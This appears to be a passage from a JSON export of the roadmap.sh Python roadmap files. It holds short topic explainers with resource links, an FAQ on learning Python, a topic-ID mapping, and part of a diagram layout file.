    "content": "# Variable Scope\n\nVariable scope refers to the region of a program where a particular variable can be accessed. It determines the visibility and lifetime of a variable. Understanding scope is crucial for avoiding naming conflicts and ensuring that variables are used correctly within different parts of your code.\n\nVisit the following resources to learn more:\n\n- [@article@Python Nonlocal Keyword Explained by Our Experts](https://roadmap.sh/python/nonlocal)\n- [@article@Python Variable Scope And The LEGB Rule Explained](https://www.datacamp.com/tutorial/scope-of-variables-python)\n- [@article@Python Scope](https://www.w3schools.com/python/python_scope.asp)\n- [@video@Python Tutorial: Variable Scope - Understanding the LEGB rule and global/nonlocal statements](https://www.youtube.com/watch?v=QVdf0LgmICw)"
  },
  {
    "path": "src/data/roadmaps/python/content/variables-and-data-types@dEFLBGpiH6nbSMeR7ecaT.md",
    "content": "# Variables\n\nVariables are used to store information to be referenced and manipulated in a computer program. They also provide a way of labeling data with a descriptive name, so our programs can be understood more clearly by the reader and ourselves. It is helpful to think of variables as containers that hold information. Their sole purpose is to label and store data in memory. This data can then be used throughout your program.\n\nVisit the following resources to learn more:\n\n- [@article@Variables in Python](https://realpython.com/python-variables)\n- [@article@Python for Beginners: Data Types](https://thenewstack.io/python-for-beginners-data-types/)\n- [@video@Python Variables and Data Types](https://www.youtube.com/playlist?list=PLBlnK6fEyqRhN-sfWgCU1z_Qhakc1AGOn)"
  },
  {
    "path": "src/data/roadmaps/python/content/virtualenv@_IXXTSwQOgYzYIUuKVWNE.md",
    "content": "# virtualenv\n\n`virtualenv` is a tool to create isolated Python environments. It creates a folder which contains all the necessary executables to use the packages that a Python project would need.\n\nVisit the following resources to learn more:\n\n- [@official@Virtual Environments](https://virtualenv.pypa.io/en/latest/)"
  },
  {
    "path": "src/data/roadmaps/python/content/working-with-strings@Sg5w8zO2Ji-uDJKEoWey9.md",
    "content": "# Working with Strings\n\nStrings in Python are sequences of characters used to represent text. You can create them by enclosing characters within single quotes, double quotes, or triple quotes. Once created, strings are immutable, meaning their values cannot be changed directly. Common operations include accessing individual characters using indexing, slicing to extract substrings, concatenating strings using the `+` operator, and using built-in methods to manipulate and format the text they contain.\n\nVisit the following resources to learn more:\n\n- [@official@string — Common string operations](https://docs.python.org/3/library/string.html)\n- [@article@Python Strings](https://www.w3schools.com/python/python_strings.asp)\n- [@video@String methods in Python are easy 〰️](https://www.youtube.com/watch?v=tb6EYiHtcXU)\n- [@video@Python Tutorial for Beginners 2: Strings - Working with Textual Data](https://www.youtube.com/watch?v=k9TUPpGqYTo)"
  },
  {
    "path": "src/data/roadmaps/python/content/yapf@tsh_vbhzKz1-H9Vh69tsK.md",
    "content": "# yapf\n\nyapf is a formatter for Python files. It is a tool that automatically formats Python code to conform to the PEP 8 style guide. It is similar to black but has more configuration options.\n\nVisit the following resources to learn more:\n\n- [@opensource@google/yapf](https://github.com/google/yapf)"
  },
  {
    "path": "src/data/roadmaps/python/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'What skills does a Python developer need?',\n    answer: [\n      \"The skills that a Python developer needs are highly dependent on the industry they'd like to focus on.\",\n      'For example, developers interested in backend web development should be familiar with web frameworks such as Django and Flask. They should also spend some time learning about RESTful design, API management, system architecture, and most likely, some SQL for database querying.',\n      \"On the other hand, for a Python developer who's more interested in data science (also known as a data scientist), expertise in NumPy, Pandas, and machine learning tools becomes necessary.\",\n      'If automation is their focus, developers should look into IaC (Infrastructure as Code) tools and configuration management and delve a bit deeper into cloud platforms and deployment strategies.',\n      'Universally speaking (now outside the domains of Python alone), writing efficient and clean code along with strong problem-solving skills are essential for any development-related role. And you can boost that up with knowledge of data structures and algorithms and understanding object-oriented programming (or functional programming) to top it all up.',\n    ],\n  },\n  {\n    question: 'Is Python easy to learn?',\n    answer: [\n      \"Python is considered one of the easiest programming languages to learn because of its simple and readable syntax. To many, Python reads a lot like the English language, greatly reducing the cognitive load involved with understanding other people's code.\",\n      'Unlike other languages, Python code requires fewer lines, making it a great choice for beginners. Many universities and coding bootcamps use Python as an introduction to programming because of its logical structure and extensive documentation.',\n      'But in the end, it\\'s also important to mention that \"easy\" is relative, and everyone learns in their own way, and what might be considered simple or easy for the majority of developers doesn\\'t automatically make it easy for the rest.',\n      \"If you're looking to become a Python developer, the best thing you can do is to focus on following a pre-defined [Python roadmap](https://roadmap.sh/python) and avoid comparing your progress with that of others.\",\n    ],\n  },\n  {\n    question: 'Why do beginners use Python?',\n    answer: [\n      'Beginners choose Python because, generally speaking, it tends to be easier to read, write, and understand than many other programming languages.',\n      'Python removes the need for complex syntax rules found in languages like C++ or Java (like the use of curly braces, or \"&&\" and \"||\" to represent a logical AND or a logical OR operator), allowing developers to focus on solving problems rather than debugging syntax errors.',\n      'On top of that, Python has a vast ecosystem of libraries and frameworks that simplify tasks in web development, data science, and automation, making it very \"beginner-friendly\" from that POV.',\n      'Finally, the very active and large community around the language (which helps answer questions and provide learning resources to newcomers) is a very appealing characteristic that attracts beginners to Python.',\n    ],\n  },\n  {\n    question: 'Is Python easier than C++?',\n    answer: [\n      'Python is easier than C++ because of its simplified syntax and dynamic typing, making it a more appealing option for new developers.',\n      'Looking at both languages, C++ can be considered to be \"lower level\" when compared to Python because the former provides an interface that is closer to the actual hardware than the API provided by Python.',\n      'A classic example that shows how C++ is closer to the machine is the language requiring manual memory management. That allows developers to directly interact with hardware components by letting them fine-tune CPU records and more.',\n      'On the other hand, Python handles memory allocation automatically and has a more flexible approach to programming. This higher level of abstraction is what allows Python developers to focus on building software rather than on learning how the machine works so they can build the software on top of it.',\n      'Of course, there are downsides to this approach as well, but when considering ease of adoption, especially for new developers, abstraction helps keep problems at bay.',\n    ],\n  },\n  {\n    question: 'How is Python different from Java?',\n    answer: [\n      'Python is different from Java in many ways. Looking at the syntax alone, Python has a simpler syntax and is dynamically typed, whereas Java is more verbose (and much more similar to that of C or C++) and statically typed.',\n      'In terms of execution, Java requires its code to be compiled so it can be executed inside its virtual machine (known as JVM or Java Virtual Machine), while Python is interpreted, which makes Python a more flexible but often slower option.',\n      'Finally, when considering the best use cases for each language, Python is widely used in data science, automation, and backend development, while Java is more common in enterprise applications, Android development, and large-scale system architectures.',\n      \"In the end, there is no best choice between both languages, it's all about your use case and project needs.\",\n    ],\n  },\n  {\n    question: 'How long does it take to learn Python?',\n    answer: [\n      'The time it takes to learn Python depends on several things, including your past programming experience, how much you want to learn about the language, and the field in which you want to use Python.',\n      'Generally, most developers going through the learning process can pick up basic Python skills in a few weeks, while mastering the language for professional development could take several months or even years.',\n      'If, on the other hand, you have no prior experience with programming, it can take somewhere between 6 to 8 weeks to learn the basics of Python and programming, as long as you keep the learning consistent.',\n      \"Finally, if you're hoping to work as a Python developer, chances are you'll need 6 months to a year of consistent learning and practice on top of having all the programming basics covered.\",\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/python/migration-mapping.json",
    "content": "{\n  \"python-basics\": \"JDDG4KfhtIlw1rkNCzUli\",\n  \"python-basics:basic-syntax\": \"6xRncUs3_vxVbDur567QA\",\n  \"python-basics:variables-and-datatypes\": \"dEFLBGpiH6nbSMeR7ecaT\",\n  \"python-basics:conditionals\": \"NP1kjSk0ujU0Gx-ajNHlR\",\n  \"python-basics:typecasting-exceptions\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n  \"python-basics:functions\": \"-DJgS6l2qngfwurExlmmT\",\n  \"python-basics:lists-tuples-sets-dictionaries\": \"UT_SR7G-LYtzqooWrEtF1\",\n  \"data-structures-and-algorithms\": \"VJSIbYJcy2MC6MOFBrqXi\",\n  \"data-structures-and-algorithms:arrays-linked-lists\": \"kIuns7FOwapwtFLKo1phQ\",\n  \"data-structures-and-algorithms:heaps-stacks-queues\": \"rSfg5M65LyZldhrdWOr90\",\n  \"data-structures-and-algorithms:hash-tables\": \"0-m8jVuDKE8hX1QorKGTM\",\n  \"data-structures-and-algorithms:binary-search-trees\": \"7NZlydjm4432vLY1InBS7\",\n  \"data-structures-and-algorithms:recursion\": \"94KnPMQdNTOwQkUv37tAk\",\n  \"data-structures-and-algorithms:sorting-algorithms\": \"YNptpfK9qv2ovmkUXLkJT\",\n  \"python-advanced-topics:modules\": \"274uk28wzxn6EKWQzLpHs\",\n  \"python-advanced-topics:modules:builtin-modules\": \"08XifLQ20c4FKI_4AWNBQ\",\n  \"python-advanced-topics:modules:custom-modules\": \"l7k0qTYe42wYBTlT2-1cy\",\n  \"python-advanced-topics:oop\": \"P_Di-XPSDITmU3xKQew8G\",\n  \"python-advanced-topics:oop:classes\": \"AqwzR8dZKLQIoj_6KKZ3t\",\n  \"python-advanced-topics:oop:inheritance\": \"S0FLE70szSVUPI0CDEQK7\",\n  \"python-advanced-topics:oop:methods-dunder\": \"zAS4YiEJ6VPsyABrkIG8i\",\n  \"python-advanced-topics:regular-expressions\": \"7t6mJBsaFMWPi7o9fbhhq\",\n  \"python-advanced-topics:decorators\": \"pIluLJkySqn_gI_GykV6G\",\n  \"python-advanced-topics:lambdas\": \"aWHgAk959DPUZL46CeRiI\",\n  \"python-advanced-topics:iterators\": \"aB1LSQjDEQb_BxueOcnxU\",\n  \"python-package-managers\": \"qeCMw-sJ2FR4UxvU9DDzv\",\n  \"python-package-managers:pypi\": \"1dfOTOGsOk5XE3bnZs8Ht\",\n  \"python-package-managers:pip\": \"iVhQnp6hpgVZDNJ0XoVra\",\n  \"python-package-managers:conda\": \"uh67D1u-Iv5cZamRgFEJg\",\n  \"python-package-managers:poetry\": \"uXd2B01GVBEQNXQE8RATT\",\n  \"python-advanced-topics:list-comprehensions\": \"4gtmtYWYRWqwLdZRL0XMg\",\n  \"python-advanced-topics:generator-expressions\": \"jnLIVRrWxcX3yq3Op91Vr\",\n  \"python-advanced-topics:paradigms\": \"4GU5HNi3W8yFkImVY9ZpW\",\n  \"python-frameworks\": \"0-ShORjGnQlAdcwjtxdEB\",\n  \"python-frameworks:synchronous:pyramid\": \"DHtskqATeAVKgaazdhXKD\",\n  \"python-frameworks:fastapi\": \"XeQSmvAsGSTi8dd7QVHxn\",\n  \"python-frameworks:synchronous:django\": \"x1V8GjdjANTnhP6YXMbgC\",\n  \"python-frameworks:synchronous:flask\": \"HKsGyRzntjh1UbRZSWh_4\",\n  \"python-frameworks:asynchronous:gevent\": \"InUJIGmTnf0X4cSoLuCEQ\",\n  \"python-frameworks:asynchronous:aiohttp\": \"IBVAvFtN4mnIPbIuyUvEb\",\n  \"python-frameworks:asynchronous:tornado\": \"zey2C6BdzsHJAlb_K3qrP\",\n  \"python-frameworks:asynchronous:sanic\": \"9RGpqsj9jHz0_-r7EvRcw\",\n  \"python-testing:doctest\": \"aVclygxoA9ePU5IxaORSH\",\n  \"python-testing:nose\": \"SSnzpijHLO5_l7DNEoMfx\",\n  \"python-testing:pytest\": \"3FDwJpesfelEyJrNWtm0V\",\n  \"python-testing:unittest-pyunit\": \"b4he_RO17C3ScNeUd6v2b\"\n}"
  },
  {
    "path": "src/data/roadmaps/python/python.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"7qkVORlOiHO2gVIC0spiJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -470.10560351401324,\n        \"y\": 1018.842978409371\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 227,\n      \"height\": 157,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 157\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -470.10560351401324,\n        \"y\": 1018.842978409371\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 157\n      }\n    },\n    {\n      \"id\": \"DYVswTR2tgKfRIkQ3WGDW\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -615.0754215575712,\n        \"y\": 1018.842978409371\n      },\n      \"width\": 151,\n      \"height\": 157,\n      \"style\": {\n        \"width\": 151,\n        \"height\": 157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -615.0754215575712,\n        \"y\": 1018.842978409371\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 157\n      }\n    },\n    {\n      \"id\": \"jKeTTySc4iyJY29xLqNNQ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 264.82694462464815,\n        \"y\": 1166.6757618831236\n      },\n      \"width\": 175,\n      \"height\": 108,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 108\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 264.82694462464815,\n        \"y\": 1166.6757618831236\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 108\n      }\n    },\n    {\n      \"id\": \"kEXUjAWagEHfsybVfqFbj\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 351.32694462464815,\n        \"y\": 962.1504012205187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 206,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 206\n      },\n      \"positionAbsolute\": {\n        \"x\": 351.32694462464815,\n        \"y\": 962.1504012205187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 206\n      }\n    },\n    {\n      \"id\": \"RW1wSb7P-AZWXa_znXytT\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 230.82694462464815,\n        \"y\": 933.1504012205187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        },\n        \"oldId\": \"KFFbnOBa-y5r58w2pUf15\"\n      },\n      \"zIndex\": 999,\n      \"width\": 67,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 67,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 230.82694462464815,\n        \"y\": 933.1504012205187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 67,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"I0lCQskv_MEITj9xTEetZ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 67.79817070787664,\n        \"y\": 755.1504012205187\n      },\n      \"width\": 166,\n      \"height\": 210,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 210\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 67.79817070787664,\n        \"y\": 755.1504012205187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 210\n      }\n    },\n    {\n      \"id\": \"-Bdnmm4sceeOS3oBa214C\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -621.1730553753519,\n        \"y\": 551.0807887739926\n      },\n      \"width\": 223,\n      \"height\": 111,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 111\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": -621.1730553753519,\n        \"y\": 551.0807887739926\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 111\n      }\n    },\n    {\n      \"id\": \"n79gqI0nU2Ufufrbqn4I2\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -578.7332744798255,\n        \"y\": 928.842978409371\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 90,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": -578.7332744798255,\n        \"y\": 928.842978409371\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 90\n      }\n    },\n    {\n      \"id\": \"nvL0Yb5peOKtN6J3bHlRt\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -615.0754215575712,\n        \"y\": 1168.2821121205188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 372,\n      \"height\": 118,\n      \"style\": {\n        \"width\": 372,\n        \"height\": 118\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -615.0754215575712,\n        \"y\": 1168.2821121205188\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 372,\n        \"height\": 118\n      }\n    },\n    {\n      \"id\": \"QeITF-YfZejH1ChhvL153\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 300.8559210300732,\n        \"y\": 286.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 94,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": 300.8559210300732,\n        \"y\": 286.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 94\n      }\n    },\n    {\n      \"id\": \"dtrq89l_tp6Z6J6hXsIov\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 175.3559210300732,\n        \"y\": 290.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"QeITF-YfZejH1ChhvL153\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 94,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": 175.3559210300732,\n        \"y\": 290.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 94\n      }\n    },\n    {\n      \"id\": \"WM8uelKHGcNtlUiJVwxZf\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -578.7332744798255,\n        \"y\": 849.1393183285392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"hVyw2aK17eHhz6Xg4Vccr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 95,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 95\n      },\n      \"positionAbsolute\": {\n        \"x\": -578.7332744798255,\n        \"y\": 849.1393183285392\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 95\n      }\n    },\n    {\n      \"id\": \"hVyw2aK17eHhz6Xg4Vccr\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -578.7332744798255,\n        \"y\": 440.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 89,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 89\n      },\n      \"positionAbsolute\": {\n        \"x\": -578.7332744798255,\n        \"y\": 440.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 89\n      }\n    },\n    {\n      \"id\": \"LgWrLnoO7qkmpqJs35kyZ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -567.7332744798255,\n        \"y\": 433.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 158,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -567.7332744798255,\n        \"y\": 433.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 20\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 68,\n      \"id\": \"hIQe_B-68ENL-GFg6GmnD\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -173.16916540260297,\n        \"y\": -161.7695706291704\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iogwMmOvub2ZF4zgg6WyF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -173.16916540260297,\n        \"y\": -161.7695706291704\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 76,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -120.16916540260297,\n        \"y\": -226.7695706291704\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -120.16916540260297,\n        \"y\": -226.7695706291704\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 76\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 110.84147172248669,\n        \"y\": -233.7695706291704\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 138,\n      \"positionAbsolute\": {\n        \"x\": 110.84147172248669,\n        \"y\": -233.7695706291704\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 138\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 138\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 121.34147172248669,\n        \"y\": -156.7840072114252\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 121.34147172248669,\n        \"y\": -156.7840072114252\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y3FQ2wGWFb1VciLEVEGUf\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -617.2332744798255,\n        \"y\": -231.7695706291704\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"TRPGwvkLuLL9ZZ4kDMiyI\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"D2U09O9v90i02pfmTeG52\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"yFz6Tz37UtT8Q0NVDPl3H\",\n            \"label\": \"AI & Data Scientist\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 345,\n      \"height\": 166,\n      \"positionAbsolute\": {\n        \"x\": -617.2332744798255,\n        \"y\": -231.7695706291704\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 166\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 166\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -397.3402957676265,\n        \"y\": 1442.7311650625577\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -397.3402957676265,\n        \"y\": 1442.7311650625577\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 506,\n      \"height\": 117,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -611.3402957676265,\n        \"y\": 1352.21519978213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -611.3402957676265,\n        \"y\": 1352.21519978213\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 506,\n        \"height\": 117\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 506,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 143,\n      \"height\": 49,\n      \"id\": \"OQpi63qND2KBXVvKBNMST\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -599.8231176820491,\n        \"y\": 1406.9044816937815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"U0fJo2a3vnaodNJhfZ78I\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -599.8231176820491,\n        \"y\": 